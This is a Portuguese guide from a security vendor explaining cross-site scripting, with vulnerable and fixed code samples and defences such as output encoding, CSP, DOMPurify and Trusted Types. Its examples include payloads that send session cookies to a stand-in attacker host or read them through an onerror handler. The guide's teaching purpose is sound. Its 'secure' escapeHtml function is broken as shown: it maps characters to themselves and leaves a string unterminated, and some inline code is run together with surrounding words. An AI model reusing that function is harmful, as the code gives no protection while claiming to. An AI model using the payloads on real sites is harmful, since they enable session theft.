Cross-Site Scripting (XSS) é uma das falhas de injeção mais persistentes da web: o atacante consegue fazer o navegador da vítima executar JavaScript que não deveria estar ali. O resultado vai de roubo de sessão a tomada completa de conta. Esta página explica os três tipos de XSS, mostra exemplos de código vulnerável e seguro e descreve a prevenção definitiva baseada em codificação de saída contextual, Content Security Policy e frameworks que escapam por padrão.
O que é XSS
XSS é uma vulnerabilidade em que dados controlados pelo atacante são incluídos em uma página sem o tratamento adequado, fazendo com que o navegador interprete esses dados como código (HTML ou JavaScript) em vez de texto. A falha pertence à categoria A03:2021 - Injection do OWASP Top 10 e é catalogada como CWE-79: Improper Neutralization of Input During Web Page Generation.
A causa raiz é sempre a mesma: a aplicação confunde dado com código. Quando o conteúdo enviado por um usuário cruza uma fronteira de interpretação (do HTML para o JavaScript, do JavaScript para o DOM, da URL para o atributo) sem ser codificado para aquele contexto específico, o navegador executa o que era para ser apenas exibido.
O ponto crítico, e a fonte de quase todo erro de prevenção, é que XSS não se resolve só na entrada. A mesma string é inofensiva em um contexto e perigosa em outro. A defesa correta acontece na saída, no momento em que o dado é escrito em uma página, e depende do contexto exato em que ele aparece.
Os três tipos de XSS
1. XSS Refletido (Reflected)
O payload viaja em uma requisição (tipicamente um parâmetro de URL ou de formulário) e é refletido de volta na resposta imediata, sem passar por armazenamento. É entregue via link malicioso, e-mail de phishing ou formulário forjado. Cada vítima precisa ser induzida a disparar a requisição.
// VULNERÁVEL: parâmetro concatenado direto no HTML
app.get('/busca', (req, res) => {
const termo = req.query.q;
res.send('<h1>Resultados para: ' + termo + '</h1>');
});
// Ataque: /busca?q=<script>document.location='https://evil/?c='+document.cookie</script>
// SEGURO: codificação de saída para contexto HTML
const escapeHtml = (s) => s.replace(/[&<>"']/g, c => ({
'&':'&','<':'<','>':'>','"':'"',"'":'''
}[c]));
res.send('<h1>Resultados para: ' + escapeHtml(termo) + '</h1>');
2. XSS Armazenado / Persistente (Stored)
O payload é gravado no servidor (banco de dados, comentário, perfil, log exibido em painel) e servido a todos que visualizam aquela página. É o tipo mais grave, porque não exige interação dirigida: basta a vítima abrir a página contaminada. Um único comentário malicioso pode atingir milhares de usuários, inclusive administradores.
// VULNERÁVEL: comentário renderizado como HTML cru
const comentarios = await db.getComentarios();
const lista = comentarios.map(c => '<li>' + c.texto + '</li>').join('');
res.send('<ul>' + lista + '</ul>');
// SEGURO: codificar na saída (e validar/sanitizar na entrada como reforço)
const lista = comentarios.map(c => '<li>' + escapeHtml(c.texto) + '</li>').join('');
3. XSS Baseado em DOM (DOM-based)
Aqui a injeção acontece inteiramente no navegador: um script do lado cliente lê uma fonte controlável (location.hash, location.search, document.referrer) e a escreve em um sink perigoso (innerHTML, document.write, eval) sem codificação. O servidor pode nunca ver o payload, o que torna a detecção mais difícil.
// VULNERÁVEL: fonte do DOM escrita em sink perigoso
const nome = decodeURIComponent(location.hash.slice(1));
document.getElementById('saudacao').innerHTML = 'Olá, ' + nome;
// Ataque: pagina#<img src=x onerror=alert(document.cookie)>
// SEGURO: usar API que trata como texto, não como HTML
document.getElementById('saudacao').textContent = 'Olá, ' + nome;
Tipos, onde ocorrem e como prevenir
| Tipo | Onde o payload entra/vive | Onde executa | Prevenção principal |
|---|---|---|---|
| Refletido | Parâmetro de requisição (URL/form), refletido na resposta | Servidor monta o HTML | Codificação de saída contextual + CSP |
| Armazenado | Banco de dados, comentários, perfis, logs | Servidor renderiza para todos os leitores | Codificação de saída + sanitização (DOMPurify) + validação de entrada |
| DOM-based | Fontes do cliente (hash, search, referrer) | JavaScript no navegador (innerHTML, eval) | APIs seguras (textContent), evitar sinks perigosos, Trusted Types |
Impacto: por que XSS é grave
Quando um atacante executa JavaScript no contexto de origem da aplicação, ele herda os privilégios da sessão do usuário. Os impactos típicos:
- Roubo de sessão e cookies: ler
document.cookiee exfiltrar o token de sessão, permitindo personificar a vítima. - Tomada de conta (account takeover): trocar e-mail, senha ou MFA usando a sessão autenticada da vítima, sem precisar da senha.
- Keylogging e captura de formulários: interceptar tudo que a vítima digita, incluindo credenciais e dados de cartão.
- Defacement e phishing in-page: alterar a página para enganar a vítima ou pedir credenciais em um formulário falso dentro do domínio legítimo.
- Pivô e propagação: em XSS armazenado, o script pode se replicar (worm) e escalar de usuário comum a administrador.
Prevenção definitiva
Codificação de saída contextual
É a defesa central, conforme o OWASP XSS Prevention Cheat Sheet. Cada contexto de inserção exige um esquema de codificação diferente, e usar o errado não protege:
- Contexto HTML (corpo de elemento): codificar
& < > " 'para entidades. - Contexto de atributo HTML: sempre usar aspas e codificar para entidades; atributos sem aspas são especialmente perigosos.
- Contexto JavaScript (dentro de
<script>ou handlers): codificação Unicode\uXXXX; nunca interpolar dado direto em JS. - Contexto URL (parâmetros,
href): aplicarencodeURIComponente validar o esquema (bloquearjavascript:). - Contexto CSS: evitar dados dinâmicos em estilos; quando inevitável, restringir a uma allowlist estrita.
Frameworks que escapam por padrão
React, Angular e Vue codificam saída automaticamente quando você usa o fluxo normal (JSX, interpolação {{ }}). Isso elimina a maioria dos XSS. O risco está nos escapes deliberados:
// React: dangerouslySetInnerHTML desliga a proteção
<div dangerouslySetInnerHTML={{ __html: htmlDoUsuario }} /> // PERIGO
// Angular: bypassSecurityTrust* marca conteúdo como confiável
this.sanitizer.bypassSecurityTrustHtml(htmlDoUsuario); // PERIGO
Toda vez que esses mecanismos forem necessários, o conteúdo deve passar antes por um sanitizador robusto.
Sanitização com DOMPurify
Quando a aplicação precisa exibir HTML rico vindo do usuário (editor de texto, markdown renderizado), não basta escapar, é preciso sanitizar com uma biblioteca testada como o DOMPurify, que remove scripts e atributos de evento mantendo a marcação segura:
import DOMPurify from 'dompurify';
const limpo = DOMPurify.sanitize(htmlDoUsuario);
elemento.innerHTML = limpo; // seguro
Content Security Policy (CSP)
A CSP é a segunda camada de defesa: mesmo que um XSS passe, ela pode impedir a execução do script injetado. Uma política baseada em nonce ou hash bloqueia scripts inline não autorizados, conforme a documentação do MDN:
Content-Security-Policy: default-src 'self';
script-src 'self' 'nonce-r4nd0m';
object-src 'none'; base-uri 'none'
Evite 'unsafe-inline' e 'unsafe-eval', que anulam o benefício. A CSP é defesa em profundidade, não substituto da codificação de saída.
Trusted Types
Para XSS baseado em DOM, a API Trusted Types (ativada via CSP require-trusted-types-for 'script') força que sinks perigosos como innerHTML só aceitem objetos produzidos por uma política aprovada, eliminando estruturalmente a classe de bugs de DOM XSS em navegadores compatíveis.
Cookies: HttpOnly e SameSite
Marcar o cookie de sessão como HttpOnly impede que JavaScript leia o token via document.cookie, neutralizando o vetor mais comum de roubo de sessão. SameSite e Secure complementam a postura. Não previnem o XSS, mas reduzem drasticamente o impacto.
Testes e verificação
Defesa precisa ser comprovada. Combine:
- DAST (testes dinâmicos) com payloads de XSS contra os pontos de entrada da aplicação.
- SAST e linters que sinalizam
innerHTML,dangerouslySetInnerHTML,evale concatenação de HTML. - Revisão de código focada em cada fronteira de contexto e em todo uso de escape deliberado de framework.
- Pentest manual para os casos que ferramentas automáticas não pegam, especialmente DOM XSS.
Como a Decripte ajuda
A Decripte é uma empresa B2B de cibersegurança que atende de 1 a mais de 100.000 colaboradores. Nossa prática de AppSec e pentest identifica e corrige XSS em todos os seus tipos, valida a codificação de saída contextual, revisa políticas de CSP e Trusted Types e integra testes de segurança ao ciclo de desenvolvimento, para que a proteção contra injeção seja contínua e não pontual.
Quer começar a mapear sua superfície de risco sem custo? Comece grátis pelo nosso Intelligence Center ou conheça os planos de segurança de aplicações da Decripte.
Referências
- OWASP - Cross Site Scripting Prevention Cheat Sheet
- OWASP Top 10 - A03:2021 Injection
- CWE-79: Improper Neutralization of Input During Web Page Generation
- MDN Web Docs - Content Security Policy (CSP)
